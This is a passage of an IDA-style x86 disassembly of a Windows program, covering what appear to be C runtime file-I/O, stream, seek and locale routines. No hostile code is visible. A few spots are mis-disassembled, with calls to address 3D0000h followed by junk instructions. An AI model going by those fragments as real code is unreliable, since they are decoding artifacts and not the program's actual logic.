al, 20h mov [esi+0Ch], eax jmp loc_4165BF ; --------------------------------------------------------------------------- loc_416511: ; CODE XREF: sub_4164EB+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_416525 push esi call sub_417F59 pop ecx jmp short loc_41652A ; --------------------------------------------------------------------------- loc_416525: ; CODE XREF: sub_4164EB+2Fj mov eax, [esi+8] mov [esi], eax loc_41652A: ; CODE XREF: sub_4164EB+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_4165C4 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_4165AE cmp eax, 0FFFFFFFFh jz short loc_4165AE mov edx, [esi+0Ch] test dl, 82h jnz short loc_416583 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41656C mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, ds:dword_460B60[edi*4] lea edi, [edi+ecx*8] jmp short loc_416571 ; --------------------------------------------------------------------------- loc_41656C: ; CODE XREF: sub_4164EB+6Bj mov edi, offset dword_42E7F0 loc_416571: ; CODE XREF: sub_4164EB+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_416583 or dh, 20h mov [esi+0Ch], edx loc_416583: ; CODE XREF: sub_4164EB+62j ; sub_4164EB+90j cmp dword ptr [esi+18h], 200h jnz short loc_4165A0 mov ecx, [esi+0Ch] test cl, 8 jz short loc_4165A0 test ch, 4 jnz short loc_4165A0 mov dword ptr [esi+18h], 1000h loc_4165A0: ; CODE XREF: sub_4164EB+9Fj ; sub_4164EB+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_4165AE: ; CODE XREF: sub_4164EB+55j ; sub_4164EB+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_4165BF: ; CODE XREF: sub_4164EB+Aj ; sub_4164EB+12j ... or eax, 0FFFFFFFFh pop esi retn sub_4164EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C4 proc near ; CODE XREF: sub_411A46+90p ; sub_4164EB+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, ds:dword_460C60 jnb loc_4167A1 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:460B60h[eax*4] mov eax, ds:dword_460B60[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_4167A1 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_416679 test dl, 2 jnz short loc_416679 test dl, 48h jz short loc_416639 mov al, [eax+5] cmp al, 0Ah jz short loc_416639 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_416639: ; CODE XREF: sub_4165C4+56j ; sub_4165C4+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call ds:dword_41C094 ; ReadFile test eax, eax jnz short loc_41668C call ds:dword_41C068 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_416674 mov ds:dword_45F844, 9 mov ds:dword_45F848, ecx jmp loc_4167B2 ; --------------------------------------------------------------------------- loc_416674: ; CODE XREF: sub_4165C4+99j cmp eax, 6Dh jnz short loc_416680 loc_416679: ; CODE XREF: sub_4165C4+4Cj ; sub_4165C4+51j xor eax, eax jmp loc_4167B5 ; --------------------------------------------------------------------------- loc_416680: ; CODE XREF: sub_4165C4+B3j push eax call sub_41724D pop ecx jmp loc_4167B2 ; --------------------------------------------------------------------------- loc_41668C: ; CODE XREF: sub_4165C4+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41679C test edx, edx jz short loc_4166B1 cmp byte ptr [edi], 0Ah jnz short loc_4166B1 or al, 4 jmp short loc_4166B3 ; --------------------------------------------------------------------------- loc_4166B1: ; CODE XREF: sub_4165C4+E2j ; sub_4165C4+E7j and al, 0FBh loc_4166B3: ; CODE XREF: sub_4165C4+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_416796 loc_4166CB: ; CODE XREF: sub_4165C4+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_416786 cmp al, 0Dh jz short loc_4166E7 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_416778 ; --------------------------------------------------------------------------- loc_4166E7: ; CODE XREF: sub_4165C4+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_416705 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_4166FC add [ebp+arg_8], 2 jmp short loc_41675A ; --------------------------------------------------------------------------- loc_4166FC: ; CODE XREF: sub_4165C4+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_416778 ; --------------------------------------------------------------------------- loc_416705: ; CODE XREF: sub_4165C4+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_41C094 ; ReadFile test eax, eax jnz short loc_41672D call ds:dword_41C068 ; RtlGetLastWin32Error test eax, eax jnz short loc_416774 loc_41672D: ; CODE XREF: sub_4165C4+15Dj cmp [ebp+var_C], 0 jz short loc_416774 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41674F mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41675A mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_416778 ; --------------------------------------------------------------------------- loc_41674F: ; CODE XREF: sub_4165C4+176j cmp edi, [ebp+arg_4] jnz short loc_41675F cmp [ebp+var_1], 0Ah jnz short loc_41675F loc_41675A: ; CODE XREF: sub_4165C4+136j ; sub_4165C4+17Dj mov byte ptr [edi], 0Ah jmp short loc_416777 ; --------------------------------------------------------------------------- loc_41675F: ; CODE XREF: sub_4165C4+18Ej ; sub_4165C4+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_4169A2 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_416778 loc_416774: ; CODE XREF: sub_4165C4+167j ; sub_4165C4+16Dj mov byte ptr [edi], 0Dh loc_416777: ; CODE XREF: sub_4165C4+199j inc edi loc_416778: ; CODE XREF: sub_4165C4+11Ej ; sub_4165C4+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_4166CB jmp short loc_416796 ; --------------------------------------------------------------------------- loc_416786: ; CODE XREF: sub_4165C4+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_416796 or al, 2 mov [esi], al loc_416796: ; CODE XREF: sub_4165C4+101j ; sub_4165C4+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41679C: ; CODE XREF: sub_4165C4+DAj mov eax, [ebp+var_8] jmp short loc_4167B5 ; --------------------------------------------------------------------------- loc_4167A1: ; CODE XREF: sub_4165C4+12j ; sub_4165C4+39j and ds:dword_45F848, 0 mov ds:dword_45F844, 9 loc_4167B2: ; CODE XREF: sub_4165C4+ABj ; sub_4165C4+C3j or eax, 0FFFFFFFFh loc_4167B5: ; CODE XREF: sub_4165C4+B7j ; sub_4165C4+1DBj pop edi pop esi pop ebx leave retn sub_4165C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167BA proc near ; CODE XREF: sub_411B2E+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:dword_45FB04 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_4167F3 cmp al, 72h jz short loc_4167EC cmp al, 77h jnz loc_416907 mov ecx, 301h jmp short loc_4167F8 ; --------------------------------------------------------------------------- loc_4167EC: ; CODE XREF: sub_4167BA+21j xor ecx, ecx or esi, 1 jmp short loc_4167FB ; --------------------------------------------------------------------------- loc_4167F3: ; CODE XREF: sub_4167BA+1Dj mov ecx, 109h loc_4167F8: ; CODE XREF: sub_4167BA+30j or esi, 2 loc_4167FB: ; CODE XREF: sub_4167BA+37j push 1 pop edx loc_4167FE: ; CODE XREF: sub_4167BA+8Bj ; sub_4167BA+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_4168ED cmp edx, ebx jz loc_4168ED movsx eax, al cmp eax, 54h jg short loc_41688C jz short loc_41687C sub eax, 2Bh jz short loc_416866 sub eax, 19h jz short loc_41685C sub eax, 0Eh jz short loc_416847 dec eax jnz loc_4168DE cmp [ebp+var_4], ebx jnz loc_4168DE mov [ebp+var_4], 1 or ecx, 20h jmp short loc_4167FE ; --------------------------------------------------------------------------- loc_416847: ; CODE XREF: sub_4167BA+6Fj cmp [ebp+var_4], ebx jnz loc_4168DE mov [ebp+var_4], 1 or ecx, 10h jmp short loc_4167FE ; --------------------------------------------------------------------------- loc_41685C: ; CODE XREF: sub_4167BA+6Aj test cl, 40h jnz short loc_4168DE or ecx, 40h jmp short loc_4167FE ; --------------------------------------------------------------------------- loc_416866: ; CODE XREF: sub_4167BA+65j test cl, 2 jnz short loc_4168DE and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_4167FE ; --------------------------------------------------------------------------- loc_41687C: ; CODE XREF: sub_4167BA+60j mov eax, 1000h test ecx, eax jnz short loc_4168DE or ecx, eax jmp loc_4167FE ; --------------------------------------------------------------------------- loc_41688C: ; CODE XREF: sub_4167BA+5Ej sub eax, 62h jz short loc_4168D9 dec eax jz short loc_4168C2 sub eax, 0Bh jz short loc_4168AB sub eax, 6 jnz short loc_4168DE test ch, 0C0h jnz short loc_4168DE or ch, 40h jmp loc_4167FE ; --------------------------------------------------------------------------- loc_4168AB: ; CODE XREF: sub_4167BA+DDj cmp [ebp+var_8], ebx jnz short loc_4168DE mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_4167FE ; --------------------------------------------------------------------------- loc_4168C2: ; CODE XREF: sub_4167BA+D8j cmp [ebp+var_8], ebx jnz short loc_4168DE mov [ebp+var_8], 1 or esi, 4000h jmp loc_4167FE ; --------------------------------------------------------------------------- loc_4168D9: ; CODE XREF: sub_4167BA+D5j test ch, 0C0h jz short loc_4168E5 loc_4168DE: ; CODE XREF: sub_4167BA+72j ; sub_4167BA+7Bj ... xor edx, edx jmp loc_4167FE ; --------------------------------------------------------------------------- loc_4168E5: ; CODE XREF: sub_4167BA+122j or ch, 80h jmp loc_4167FE ; --------------------------------------------------------------------------- loc_4168ED: ; CODE XREF: sub_4167BA+4Aj ; sub_4167BA+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_4192E6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41690B loc_416907: ; CODE XREF: sub_4167BA+25j xor eax, eax jmp short loc_416925 ; --------------------------------------------------------------------------- loc_41690B: ; CODE XREF: sub_4167BA+14Bj mov eax, [ebp+arg_C] inc ds:dword_45FA04 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_416925: ; CODE XREF: sub_4167BA+14Fj pop edi pop esi pop ebx leave retn sub_4167BA endp ; =============== S U B R O U T I N E ======================================= sub_41692A proc near ; CODE XREF: sub_411B2Ep mov edx, ds:dword_460B40 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41699B mov ebx, ds:dword_45FB34 mov edi, ebx loc_416946: ; CODE XREF: sub_41692A+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_416961 test byte ptr [ecx+0Ch], 83h jz short loc_41695C inc eax add edi, 4 cmp eax, edx jl short loc_416946 jmp short loc_41699B ; --------------------------------------------------------------------------- loc_41695C: ; CODE XREF: sub_41692A+26j mov esi, [ebx+eax*4] jmp short loc_416985 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: sub_41692A+20j mov edi, eax push 20h shl edi, 2 call sub_410C0F pop ecx mov ecx, ds:dword_45FB34 mov [edi+ecx], eax mov eax, ds:dword_45FB34 mov edi, [edi+eax] cmp edi, ebp jz short loc_41699B mov esi, edi loc_416985: ; CODE XREF: sub_41692A+35j cmp esi, ebp jz short loc_41699B or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41699B: ; CODE XREF: sub_41692A+12j ; sub_41692A+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41692A endp ; =============== S U B R O U T I N E ======================================= sub_4169A2 proc near ; CODE XREF: seg000:00411E65p ; sub_412B27+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, ds:dword_460C60 push esi push edi jnb short loc_416A24 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:460B60h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_416A24 push eax call sub_419252 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4169E6 mov ds:dword_45F844, 9 jmp short loc_416A35 ; --------------------------------------------------------------------------- loc_4169E6: ; CODE XREF: sub_4169A2+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:dword_41C098 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_416A06 call ds:dword_41C068 ; RtlGetLastWin32Error jmp short loc_416A08 ; --------------------------------------------------------------------------- loc_416A06: ; CODE XREF: sub_4169A2+5Aj xor eax, eax loc_416A08: ; CODE XREF: sub_4169A2+62j test eax, eax jz short loc_416A15 push eax call sub_41724D pop ecx jmp short loc_416A35 ; --------------------------------------------------------------------------- loc_416A15: ; CODE XREF: sub_4169A2+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_416A38 ; --------------------------------------------------------------------------- loc_416A24: ; CODE XREF: sub_4169A2+Dj ; sub_4169A2+2Aj and ds:dword_45F848, 0 mov ds:dword_45F844, 9 loc_416A35: ; CODE XREF: sub_4169A2+42j ; sub_4169A2+71j or eax, 0FFFFFFFFh loc_416A38: ; CODE XREF: sub_4169A2+80j pop edi pop esi pop ebx retn sub_4169A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A3C proc near ; CODE XREF: seg000:00411E28p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_416A58 mov [edi+4], ebx loc_416A58: ; CODE XREF: sub_416A3C+17j push 1 push ebx push esi call sub_4169A2 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_416AC6 mov edx, [edi+0Ch] test dx, 108h jnz short loc_416A7D sub eax, [edi+4] jmp loc_416B8F ; --------------------------------------------------------------------------- loc_416A7D: ; CODE XREF: sub_416A3C+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_416AB7 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, ds:dword_460B60[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_416ACE mov edx, ecx loc_416AA8: ; CODE XREF: sub_416A3C+79j cmp edx, eax jnb short loc_416ACE cmp byte ptr [edx], 0Ah jnz short loc_416AB4 inc [ebp+var_8] loc_416AB4: ; CODE XREF: sub_416A3C+73j inc edx jmp short loc_416AA8 ; --------------------------------------------------------------------------- loc_416AB7: ; CODE XREF: sub_416A3C+50j test dl, 80h jnz short loc_416ACE mov ds:dword_45F844, 16h loc_416AC6: ; CODE XREF: sub_416A3C+2Dj or eax, 0FFFFFFFFh jmp loc_416B8F ; --------------------------------------------------------------------------- loc_416ACE: ; CODE XREF: sub_416A3C+68j ; sub_416A3C+6Ej ... cmp [ebp+var_4], 0 jnz short loc_416ADC mov eax, [ebp+var_8] jmp loc_416B8F ; --------------------------------------------------------------------------- loc_416ADC: ; CODE XREF: sub_416A3C+96j test byte ptr [edi+0Ch], 1 jz loc_416B87 mov edx, [edi+4] test edx, edx jnz short loc_416AF5 and [ebp+var_8], edx jmp loc_416B87 ; --------------------------------------------------------------------------- loc_416AF5: ; CODE XREF: sub_416A3C+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:460B60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_416B81 push 2 push 0 push [ebp+var_C] call sub_4169A2 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_416B48 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_416B33: ; CODE XREF: sub_416A3C+104j cmp eax, ecx jnb short loc_416B42 cmp byte ptr [eax], 0Ah jnz short loc_416B3F inc [ebp+arg_0] loc_416B3F: ; CODE XREF: sub_416A3C+FEj inc eax jmp short loc_416B33 ; --------------------------------------------------------------------------- loc_416B42: ; CODE XREF: sub_416A3C+F9j test byte ptr [edi+0Dh], 20h jmp short loc_416B7C ; --------------------------------------------------------------------------- loc_416B48: ; CODE XREF: sub_416A3C+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_4169A2 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_416B6F mov ecx, [edi+0Ch] test cl, 8 jz short loc_416B6F test ch, 4 jz short loc_416B72 loc_416B6F: ; CODE XREF: sub_416A3C+124j ; sub_416A3C+12Cj mov eax, [edi+18h] loc_416B72: ; CODE XREF: sub_416A3C+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_416B7C: ; CODE XREF: sub_416A3C+10Aj jz short loc_416B81 inc [ebp+arg_0] loc_416B81: ; CODE XREF: sub_416A3C+D9j ; sub_416A3C:loc_416B7Cj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_416B87: ; CODE XREF: sub_416A3C+A4j ; sub_416A3C+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_416B8F: ; CODE XREF: sub_416A3C+3Cj ; sub_416A3C+8Dj ... pop edi pop esi pop ebx leave retn sub_416A3C endp ; --------------------------------------------------------------------------- loc_416B94: ; CODE XREF: sub_412027+A3p ; sub_4156C1+A5p ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41C858 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp xor edi, edi cmp ds:dword_45F8C4, edi jnz short loc_416C0A push edi push edi push 1 pop ebx push ebx push offset dword_41C850 mov esi, 100h push esi push edi call ds:dword_41C178 ; LCMapStringW test eax, eax jz short loc_416BE8 mov ds:dword_45F8C4, ebx jmp short loc_416C0A ; --------------------------------------------------------------------------- loc_416BE8: ; CODE XREF: seg000:00416BDEj push edi push edi push ebx push offset dword_42F3E4 push esi push edi call near ptr 3D0000h xor al, [ebp+22840FC0h] add [eax], eax add bh, al add eax, offset dword_45F8C4 add al, [eax] ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_416C0A: ; CODE XREF: seg000:00416BC2j ; seg000:00416BE6j cmp [ebp+14h], edi jle short loc_416C1F push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_416DB8 pop ecx pop ecx mov [ebp+14h], eax loc_416C1F: ; CODE XREF: seg000:00416C0Dj mov eax, ds:dword_45F8C4 cmp eax, 2 jnz short loc_416C46 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 3D0000h scasb jmp loc_416D24 ; --------------------------------------------------------------------------- loc_416C46: ; CODE XREF: seg000:00416C27j cmp eax, 1 jnz loc_416D22 cmp [ebp+20h], edi jnz short loc_416C5C mov eax, ds:dword_45F8E0 mov [ebp+20h], eax loc_416C5C: ; CODE XREF: seg000:00416C52j push edi push edi push dword ptr [ebp+14h] push dword ptr [ebp+10h] mov eax, [ebp+24h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+20h] call ds:dword_41C120 ; MultiByteToWideChar mov ebx, eax mov [ebp-1Ch], ebx cmp ebx, edi jz loc_416D22 mov [ebp-4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_410BE0 mov [ebp-18h], esp mov eax, esp mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_416CB7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi mov [ebp-24h], edi or dword ptr [ebp-4], 0FFFFFFFFh mov ebx, [ebp-1Ch] loc_416CB7: ; CODE XREF: seg000:00416CA2j cmp [ebp-24h], edi jz short loc_416D22 push ebx push dword ptr [ebp-24h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+20h] call ds:dword_41C120 ; MultiByteToWideChar test eax, eax jz short loc_416D22 push edi push edi push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41C178 ; LCMapStringW mov esi, eax mov [ebp-28h], esi cmp esi, edi jz short loc_416D22 test byte ptr [ebp+0Dh], 4 jz short loc_416D36 cmp [ebp+1Ch], edi jz loc_416DB1 cmp esi, [ebp+1Ch] jg short loc_416D22 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41C178 ; LCMapStringW test eax, eax jnz loc_416DB1 loc_416D22: ; CODE XREF: seg000:00416C49j ; seg000:00416C80j ... xor eax, eax loc_416D24: ; CODE XREF: seg000:00416C41j ; seg000:00416DB3j lea esp, [ebp-38h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416D36: ; CODE XREF: seg000:00416CF4j mov dword ptr [ebp-4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_410BE0 mov [ebp-18h], esp mov ebx, esp mov [ebp-20h], ebx or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_416D6A ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi xor ebx, ebx or dword ptr [ebp-4], 0FFFFFFFFh mov esi, [ebp-28h] loc_416D6A: ; CODE XREF: seg000:00416D56j cmp ebx, edi jz short loc_416D22 push esi push ebx push dword ptr [ebp-1Ch] push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41C178 ; LCMapStringW test eax, eax jz short loc_416D22 cmp [ebp+1Ch], edi push edi push edi jnz short loc_416D91 push edi push edi jmp short loc_416D97 ; --------------------------------------------------------------------------- loc_416D91: ; CODE XREF: seg000:00416D8Bj push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_416D97: ; CODE XREF: seg000:00416D8Fj push esi push ebx push 220h push dword ptr [ebp+20h] call ds:dword_41C11C ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_416D22 loc_416DB1: ; CODE XREF: seg000:00416CF9j ; seg000:00416D1Cj mov eax, esi jmp loc_416D24 ; =============== S U B R O U T I N E ======================================= sub_416DB8 proc near ; CODE XREF: seg000:00416C15p ; seg000:0041A7B6p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_416DD5 loc_416DC8: ; CODE XREF: sub_416DB8+1Bj cmp byte ptr [eax], 0 jz short loc_416DD5 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_416DC8 loc_416DD5: ; CODE XREF: sub_416DB8+Ej ; sub_416DB8+13j cmp byte ptr [eax], 0 pop esi jnz short loc_416DE0 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_416DE0: ; CODE XREF: sub_416DB8+21j mov eax, edx retn sub_416DB8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DE3 proc near ; CODE XREF: sub_4171A7+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call loc_416F7C mov esi, eax pop ecx cmp esi, ds:dword_460C64 mov [ebp+arg_0], esi jz loc_416F70 xor ebx, ebx cmp esi, ebx jz loc_416F66 xor edx, edx mov eax, offset dword_42E510 loc_416E17: ; CODE XREF: sub_416DE3+41j cmp [eax], esi jz short loc_416E8D add eax, 30h inc edx cmp eax, offset dword_42E600 jl short loc_416E17 lea eax, [ebp+var_18] push eax push esi call near ptr 0CA0004h repne cmp eax, 1 jnz loc_416F5E push 40h xor eax, eax pop ecx mov edi, offset byte_460D80 cmp [ebp+var_18], 1 mov ds:dword_460C64, esi rep stosd stosb mov ds:dword_460E84, ebx jbe loc_416F4C cmp [ebp+var_12], 0 jz loc_416F22 lea ecx, [ebp+var_11] loc_416E6A: ; CODE XREF: sub_416DE3+139j mov dl, [ecx] test dl, dl jz loc_416F22 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_416E7B: ; CODE XREF: sub_416DE3+A8j cmp eax, edx ja loc_416F16 or ds:byte_460D81[eax], 4 inc eax jmp short loc_416E7B ; --------------------------------------------------------------------------- loc_416E8D: ; CODE XREF: sub_416DE3+36j push 40h xor eax, eax pop ecx mov edi, offset byte_460D80 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_42E520[esi] loc_416EA9: ; CODE XREF: sub_416DE3+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_416EDC loc_416EB0: ; CODE XREF: sub_416DE3+F7j mov dl, [ecx+1] test dl, dl jz short loc_416EDC movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_416ED5 mov edx, [ebp+var_4] mov dl, ds:byte_42E508[edx] loc_416ECA: ; CODE XREF: sub_416DE3+F0j or ds:byte_460D81[eax], dl inc eax cmp eax, edi jbe short loc_416ECA loc_416ED5: ; CODE XREF: sub_416DE3+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_416EB0 loc_416EDC: ; CODE XREF: sub_416DE3+CBj ; sub_416DE3+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_416EA9 mov eax, [ebp+arg_0] mov ds:dword_460C7C, 1 push eax mov ds:dword_460C64, eax call sub_416FC6 lea esi, dword_42E514[esi] mov edi, offset dword_460C70 movsd movsd pop ecx mov ds:dword_460E84, eax movsd jmp short loc_416F6B ; --------------------------------------------------------------------------- loc_416F16: ; CODE XREF: sub_416DE3+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_416E6A loc_416F22: ; CODE XREF: sub_416DE3+7Ej ; sub_416DE3+8Bj push 1 pop eax loc_416F25: ; CODE XREF: sub_416DE3+14Fj or ds:byte_460D81[eax], 8 inc eax cmp eax, 0FFh jb short loc_416F25 push esi call sub_416FC6 pop ecx mov ds:dword_460E84, eax mov ds:dword_460C7C, 1 jmp short loc_416F52 ; --------------------------------------------------------------------------- loc_416F4C: ; CODE XREF: sub_416DE3+74j mov ds:dword_460C7C, ebx loc_416F52: ; CODE XREF: sub_416DE3+167j xor eax, eax mov edi, offset dword_460C70 stosd stosd stosd jmp short loc_416F6B ; --------------------------------------------------------------------------- loc_416F5E: ; CODE XREF: sub_416DE3+51j cmp ds:dword_45F8E8, ebx jz short loc_416F74 loc_416F66: ; CODE XREF: sub_416DE3+27j call sub_416FF9 loc_416F6B: ; CODE XREF: sub_416DE3+131j ; sub_416DE3+179j call sub_417022 loc_416F70: ; CODE XREF: sub_416DE3+1Dj xor eax, eax jmp short loc_416F77 ; --------------------------------------------------------------------------- loc_416F74: ; CODE XREF: sub_416DE3+181j or eax, 0FFFFFFFFh loc_416F77: ; CODE XREF: sub_416DE3+18Fj pop edi pop esi pop ebx leave retn sub_416DE3 endp ; --------------------------------------------------------------------------- loc_416F7C: ; CODE XREF: sub_416DE3+Cp mov eax, [esp+4] and ds:dword_45F8E8, 0 cmp eax, 0FFFFFFFEh jnz short near ptr loc_416F9B+1 mov ds:dword_45F8E8, 1 call near ptr 3D0000h loc_416F9B: ; CODE XREF: seg000:00416F8Aj mov edx, 75FDF883h adc bh, al add eax, offset dword_45F8E8 add [eax], eax ; --------------------------------------------------------------------------- db 2 